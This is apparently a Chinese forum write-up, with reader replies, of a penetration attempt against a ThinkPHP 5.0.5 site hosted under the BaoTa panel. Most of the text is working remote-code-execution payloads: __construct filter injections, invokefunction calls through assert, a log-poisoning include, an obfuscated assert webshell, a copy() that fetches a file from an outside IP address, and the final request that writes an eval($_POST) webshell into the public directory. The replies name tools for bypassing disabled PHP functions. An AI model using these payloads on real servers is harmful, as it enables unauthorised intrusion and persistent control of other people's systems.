记一次对thinkphp+宝塔的getshell尝试

注:

目标url已经替换成127.0.0.1脱敏
笔者还没有研究过thinkphp漏洞,暂时只会POC一把梭。
大部分情况下都能梭哈,但今天的这个场景却是对thinkphp的POC有一定了解才能做出的突破。
以下信息只记录了关键的信息和思路流程。

已知信息及限制

版本:thinkphp 5.0.5
php:5.6.40

disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

open_basedir: /www/wwwroot/abc/:/tmp/

路径扫描

"1","http://127.0.0.1/public/","403"
"2","http://127.0.0.1/public/shop/","403"
"3","http://127.0.0.1/public/uploads/","403"

正式开始

1.报错显版本

在URL后面随便输入字符发现thinkphp报模块不存在,根据报错信息判断出是thinkphp 5.0.5

http://127.0.0.1/''

2.日志泄露后台

127.0.0.1/runtime/log/202102/19.log

通过翻看日志文件记录的信息查看到后台地址

3.尝试代码执行

两种代码执行poc测试

post请求

127.0.0.1/?s=index/index

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

可以看到phpinfo

get请求

127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

通过百度thinkphp的所有POC,找到两条执行代码,成功查看到phpinfo的信息,并得到disable_functions:open_basedir:的内容,没有禁用assert函数

4.尝试命令执行

_method=__construct&method=GET&filter[]=system&get[]=whoami

提示system() has been disabled for security reasons	也就是system函数被禁用了

其实通过phpinfo函数已经知道被禁用了,/www/wwwroot这个路径一般是宝塔常用的,宝塔不用多说,它的disable_functions的函数列表还是非常有名的

5.尝试写shell

第一次尝试失败

我们可以这样通过thinkphp\library\think\Build::module调用这个类的静态方法module,来实现写文件的操作

_method=__construct&method=get&filter[]=think\Build::module&get[0]=test
_method=__construct&method=get&filter[]=think\Build::module&filter[]=error_reporting&get../public/test&get[]=test;eval($_POST[a]);#/../../public/tests;

_method=__construct&method=get&filter[]=think\Build::module&get[]=test//../../public//?><?php eval($_GET[a]);?>

mkdir(): No such file or directory

第二次尝试失败

127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));
?>

提示file_put_contents(12345.php): failed to open stream: Permission denied	也就是没有权限

第三次尝试失败

127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://124.244.108.128/','test.php')

提示assert(): Failure evaluating code:copy(\'http://124.244.108.128/\',\'test.php\')

发现单引号被转义了,双引号也被转义

第四次尝试失败

写日志,包含日志 getshell 。payload如下:

写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

提示call_user_func() expects parameter 1 to be a valid callback, function '<?php eval($_POST['x'])?>' not found or invalid function name

call_user_func换成assert函数

_method=__construct&method=get&filter[]=assert&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
提示assert(): Failure evaluating code:
&lt;?php eval($_POST['x'])?&gt;

被转义了

第五次尝试失败

127.0.0.1/?s=index/index

s=file_put_contents('./fec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

提示file_put_contents(./fec.php): failed to open stream: Permission denied	

第六次请教大佬,尝试成功

​ 看大佬一番操作后成功突破限制拿到webshell,但恰恰低头看了一眼手机就错过了上传shell的poc。只知道大佬的shell上传到public目录了,为什么传到这里呢?

​ 无奈只好继续尝试,回顾了这几次尝试,想起来写shell的方法就那么几个,用第五次来说。尝试的poc应该是写到当前目录,即/www/wwwroot/abc/目录。

​ 也就是说可能是提示只有当前目录没有权限写入,那其他目录呢,如前面扫目录出来的/www/wwwroot/abc/public目录

s=file_put_contents('./public/.sys1.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

执行后成功提示Use of undefined constant __construct - assumed '__construct'	报错是跟我最后一眼见到大佬屏幕的显示是一样的

然后访问到127.0.0.1/public/.sys1.php	页面返回phpinfo页面,说明写入成功了

那么将phpinfo()换成一句话木马eval($_POST[1]);		即可成功getshell

s=file_put_contents('./public/.sys1.php','<?php eval($_POST[1]);')&_method=__construct&method=POST&filter[]=assert

shell的权限是www权限,不能执行命令,尝试用蚁剑的bypass_disable_function也没有绕过,经过大佬指点用哥斯拉成功绕过宝塔的目录限制

  • 至此本次目标渗透结束,又get到一个技能点

参考

thinkphp5.x全版本任意代码执行getshell

某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell

thinkPHP命令执行漏洞

Thinkphp远程代码执行 payload汇总

thinkphp诸多限制条件下如何getshell详解

记一次有趣的tp5代码执行

ThinkPHP5 RCE在PHP7下getshell

Thinkphp绕过宝塔getshell

ThinkPHP5 RCE漏洞重现及分析

Thinkphp5 RCE总结

Thinkphp 日志路径(持续更新)

3 个赞

tp public 默认是首页目录.

2 个赞

蚁剑的bypass_disable_function应该可以绕过,需要你手动设置一下sock文件的路径

1 个赞

在一次为民除害的过程中,我也发现宝塔很变态。后来是用copy命令成功写入shell。在绕过命令执行时用蚁剑的bypass_disable_function是可以的。如果用哥斯拉更方便。

是php-fpm模式下修改sock文件的路径?

bypass_disable_function遇见php7绕过的机率还是很大,php5的话目前就有很多限制了,一些函数只要被禁用就无法使用这个插件。
太菜了 :sob: